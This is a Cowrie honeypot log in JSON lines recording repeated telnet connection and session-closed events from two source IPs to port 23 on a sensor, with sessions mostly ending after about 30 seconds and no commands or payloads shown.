{"eventid":"cowrie.session.closed","duration":30.872461318969727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.352450Z","src_ip":"208.115.200.90","session":"202f86be7237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991902351379395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.386034Z","src_ip":"208.115.200.90","session":"92ba63747aab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51530,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7cd304c3c40","protocol":"telnet","message":"New connection: 208.115.200.90:51530 (10.17.0.5:23) [session: e7cd304c3c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.404843Z"}
{"eventid":"cowrie.session.closed","duration":30.94872808456421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.416668Z","src_ip":"208.115.200.90","session":"04e6c5d6d376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51622,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc4569d6de8","protocol":"telnet","message":"New connection: 208.115.200.90:51622 (10.17.0.5:23) [session: cdc4569d6de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.494497Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51636,"dst_ip":"10.17.0.5","dst_port":23,"session":"455cfb59efa1","protocol":"telnet","message":"New connection: 208.115.200.90:51636 (10.17.0.5:23) [session: 455cfb59efa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.512481Z"}
{"eventid":"cowrie.session.closed","duration":31.222190141677856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.604180Z","src_ip":"208.115.200.90","session":"d15d5acf4244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"225ccb1c63c8","protocol":"telnet","message":"New connection: 208.115.219.122:54930 (10.17.0.5:23) [session: 225ccb1c63c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:22.704081Z"}
{"eventid":"cowrie.session.closed","duration":30.720373392105103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.022122Z","src_ip":"208.115.219.122","session":"5b18128eb444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889821767807007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.029026Z","src_ip":"208.115.219.122","session":"eb9a68eec12f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032973051071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.048488Z","src_ip":"208.115.219.122","session":"fa7042780128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89255952835083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.065370Z","src_ip":"208.115.219.122","session":"7713079fb0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54978,"dst_ip":"10.17.0.5","dst_port":23,"session":"82599b42d616","protocol":"telnet","message":"New connection: 208.115.219.122:54978 (10.17.0.5:23) [session: 82599b42d616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.140338Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50580,"dst_ip":"10.17.0.5","dst_port":23,"session":"371256d829d1","protocol":"telnet","message":"New connection: 208.115.200.90:50580 (10.17.0.5:23) [session: 371256d829d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.177872Z"}
{"eventid":"cowrie.session.closed","duration":31.125847578048706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.187967Z","src_ip":"208.115.200.90","session":"3301d22043c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd790a732665","protocol":"telnet","message":"New connection: 208.115.219.122:54998 (10.17.0.5:23) [session: bd790a732665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.209306Z"}
{"eventid":"cowrie.session.closed","duration":30.638880729675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.227027Z","src_ip":"208.115.200.90","session":"49b627f98a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74592351913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.233847Z","src_ip":"208.115.200.90","session":"fc35b1bf01bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52132,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f2514461e1","protocol":"telnet","message":"New connection: 208.115.200.90:52132 (10.17.0.5:23) [session: 40f2514461e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.331511Z"}
{"eventid":"cowrie.session.closed","duration":30.888275623321533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:23.427265Z","src_ip":"208.115.200.90","session":"fe4c57e04259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52454,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4e3e226ae7","protocol":"telnet","message":"New connection: 208.115.200.90:52454 (10.17.0.5:23) [session: 9c4e3e226ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.024546Z"}
{"eventid":"cowrie.session.closed","duration":30.967179536819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.029685Z","src_ip":"208.115.219.122","session":"db11a18e79b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54f9fb326e6","protocol":"telnet","message":"New connection: 208.115.200.90:52472 (10.17.0.5:23) [session: a54f9fb326e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.093736Z"}
{"eventid":"cowrie.session.closed","duration":30.337816953659058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.175980Z","src_ip":"208.115.219.122","session":"d93a22429491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e90db7ba5c7","protocol":"telnet","message":"New connection: 208.115.219.122:55064 (10.17.0.5:23) [session: 0e90db7ba5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.183146Z"}
{"eventid":"cowrie.session.closed","duration":31.076902866363525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.222274Z","src_ip":"208.115.200.90","session":"5169af2f8942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55072,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f0b72c1d8e","protocol":"telnet","message":"New connection: 208.115.219.122:55072 (10.17.0.5:23) [session: 69f0b72c1d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.228939Z"}
{"eventid":"cowrie.session.closed","duration":31.23778510093689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.249651Z","src_ip":"208.115.200.90","session":"2c3f26875ec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64814329147339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.310059Z","src_ip":"208.115.200.90","session":"442e2fe557a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56728,"dst_ip":"10.17.0.5","dst_port":23,"session":"658b48216629","protocol":"telnet","message":"New connection: 208.115.200.90:56728 (10.17.0.5:23) [session: 658b48216629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.321718Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52138,"dst_ip":"10.17.0.5","dst_port":23,"session":"0671b825ba31","protocol":"telnet","message":"New connection: 208.115.200.90:52138 (10.17.0.5:23) [session: 0671b825ba31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.393934Z"}
{"eventid":"cowrie.session.closed","duration":30.908570289611816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.438415Z","src_ip":"208.115.200.90","session":"c47bd3d77948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a971e31b00b","protocol":"telnet","message":"New connection: 208.115.200.90:56750 (10.17.0.5:23) [session: 9a971e31b00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.473237Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52320,"dst_ip":"10.17.0.5","dst_port":23,"session":"694724f01b80","protocol":"telnet","message":"New connection: 208.115.200.90:52320 (10.17.0.5:23) [session: 694724f01b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:24.782590Z"}
{"eventid":"cowrie.session.closed","duration":30.977594137191772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.032974Z","src_ip":"208.115.200.90","session":"4578a12ca2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24819040298462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.046917Z","src_ip":"208.115.200.90","session":"f5f1e049f2a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63473343849182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.053824Z","src_ip":"208.115.219.122","session":"65bd379b07fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.146979331970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.081022Z","src_ip":"208.115.219.122","session":"21066d0cc204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793527364730835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.107932Z","src_ip":"208.115.219.122","session":"9c9e9a78cad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5318f9a0a71c","protocol":"telnet","message":"New connection: 208.115.200.90:56792 (10.17.0.5:23) [session: 5318f9a0a71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.210290Z"}
{"eventid":"cowrie.session.closed","duration":30.765757083892822,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.242821Z","src_ip":"208.115.200.90","session":"68040dc0ef50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891483068466187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.350983Z","src_ip":"208.115.200.90","session":"338cae9e417e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56860,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b645d91896","protocol":"telnet","message":"New connection: 208.115.200.90:56860 (10.17.0.5:23) [session: 91b645d91896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.424128Z"}
{"eventid":"cowrie.session.closed","duration":31.247040271759033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.440789Z","src_ip":"208.115.200.90","session":"ea9de7cda35a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20fa8af109d","protocol":"telnet","message":"New connection: 208.115.200.90:56876 (10.17.0.5:23) [session: f20fa8af109d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.488326Z"}
{"eventid":"cowrie.session.closed","duration":31.06623339653015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.499060Z","src_ip":"208.115.200.90","session":"05cd50302492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0798d53a34","protocol":"telnet","message":"New connection: 208.115.219.122:44588 (10.17.0.5:23) [session: ed0798d53a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.673473Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda3c88c2a07","protocol":"telnet","message":"New connection: 208.115.200.90:56912 (10.17.0.5:23) [session: fda3c88c2a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.763988Z"}
{"eventid":"cowrie.session.closed","duration":31.550957441329956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.927313Z","src_ip":"208.115.219.122","session":"2e01f2790f8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66912865638733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:25.958154Z","src_ip":"208.115.200.90","session":"4740ac532e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56914,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4279cc297b8","protocol":"telnet","message":"New connection: 208.115.200.90:56914 (10.17.0.5:23) [session: e4279cc297b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.061650Z"}
{"eventid":"cowrie.session.closed","duration":30.28237819671631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.069728Z","src_ip":"208.115.200.90","session":"71a718693d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860528230667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.124423Z","src_ip":"208.115.219.122","session":"0993e0c06933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4411404132843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.137896Z","src_ip":"208.115.200.90","session":"2cafce02e02b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.170342206954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.149708Z","src_ip":"208.115.219.122","session":"ebf9f7e0444f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56978,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf768c4ed90b","protocol":"telnet","message":"New connection: 208.115.200.90:56978 (10.17.0.5:23) [session: cf768c4ed90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.264060Z"}
{"eventid":"cowrie.session.closed","duration":31.24663257598877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.301035Z","src_ip":"208.115.200.90","session":"a7b6d0236878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56984,"dst_ip":"10.17.0.5","dst_port":23,"session":"376096d007ed","protocol":"telnet","message":"New connection: 208.115.200.90:56984 (10.17.0.5:23) [session: 376096d007ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.330922Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e759f47aca3","protocol":"telnet","message":"New connection: 208.115.219.122:44670 (10.17.0.5:23) [session: 6e759f47aca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.364840Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57042,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b3dc57e5c4","protocol":"telnet","message":"New connection: 208.115.200.90:57042 (10.17.0.5:23) [session: 78b3dc57e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.428912Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44694,"dst_ip":"10.17.0.5","dst_port":23,"session":"8046bc48c2c7","protocol":"telnet","message":"New connection: 208.115.219.122:44694 (10.17.0.5:23) [session: 8046bc48c2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.470050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57070,"dst_ip":"10.17.0.5","dst_port":23,"session":"1229f5275b5c","protocol":"telnet","message":"New connection: 208.115.200.90:57070 (10.17.0.5:23) [session: 1229f5275b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.508775Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"971ee9e3fb50","protocol":"telnet","message":"New connection: 208.115.200.90:57078 (10.17.0.5:23) [session: 971ee9e3fb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.527553Z"}
{"eventid":"cowrie.session.closed","duration":31.17985701560974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.553998Z","src_ip":"208.115.200.90","session":"fe4422775604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47843313217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.593251Z","src_ip":"208.115.200.90","session":"b064753342bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412814140319824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.623134Z","src_ip":"208.115.219.122","session":"e87c4decd694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57162,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc29cd6c09bc","protocol":"telnet","message":"New connection: 208.115.200.90:57162 (10.17.0.5:23) [session: bc29cd6c09bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:26.787244Z"}
{"eventid":"cowrie.session.closed","duration":30.27114224433899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.016904Z","src_ip":"208.115.219.122","session":"3cb35f8c8fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99421000480652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.041501Z","src_ip":"208.115.200.90","session":"17512932725b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44738,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c1aedda85b","protocol":"telnet","message":"New connection: 208.115.219.122:44738 (10.17.0.5:23) [session: 18c1aedda85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.071068Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57288,"dst_ip":"10.17.0.5","dst_port":23,"session":"844361154058","protocol":"telnet","message":"New connection: 208.115.200.90:57288 (10.17.0.5:23) [session: 844361154058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.121116Z"}
{"eventid":"cowrie.session.closed","duration":30.35541081428528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.132377Z","src_ip":"208.115.200.90","session":"c3e0bd036109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"353261102be1","protocol":"telnet","message":"New connection: 208.115.219.122:44754 (10.17.0.5:23) [session: 353261102be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.214054Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d92bab95d6e","protocol":"telnet","message":"New connection: 208.115.200.90:57302 (10.17.0.5:23) [session: 4d92bab95d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.255858Z"}
{"eventid":"cowrie.session.closed","duration":31.100386142730713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.262776Z","src_ip":"208.115.219.122","session":"0bc2db093b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40a91b803ec","protocol":"telnet","message":"New connection: 208.115.200.90:57320 (10.17.0.5:23) [session: f40a91b803ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.331636Z"}
{"eventid":"cowrie.session.closed","duration":31.034667015075684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.337665Z","src_ip":"208.115.200.90","session":"4f759c4f9252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701777458190918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.383075Z","src_ip":"208.115.200.90","session":"603d13cafb89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57350,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be240974090","protocol":"telnet","message":"New connection: 208.115.200.90:57350 (10.17.0.5:23) [session: 4be240974090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.438031Z"}
{"eventid":"cowrie.session.closed","duration":31.40168285369873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:27.742049Z","src_ip":"208.115.200.90","session":"2942960bfdbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95929980278015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.024607Z","src_ip":"208.115.200.90","session":"7cf254d00797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32373046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.030146Z","src_ip":"208.115.200.90","session":"90c67b638f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583898305892944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.052985Z","src_ip":"208.115.219.122","session":"521227b117f1","protocol":"telnet"}
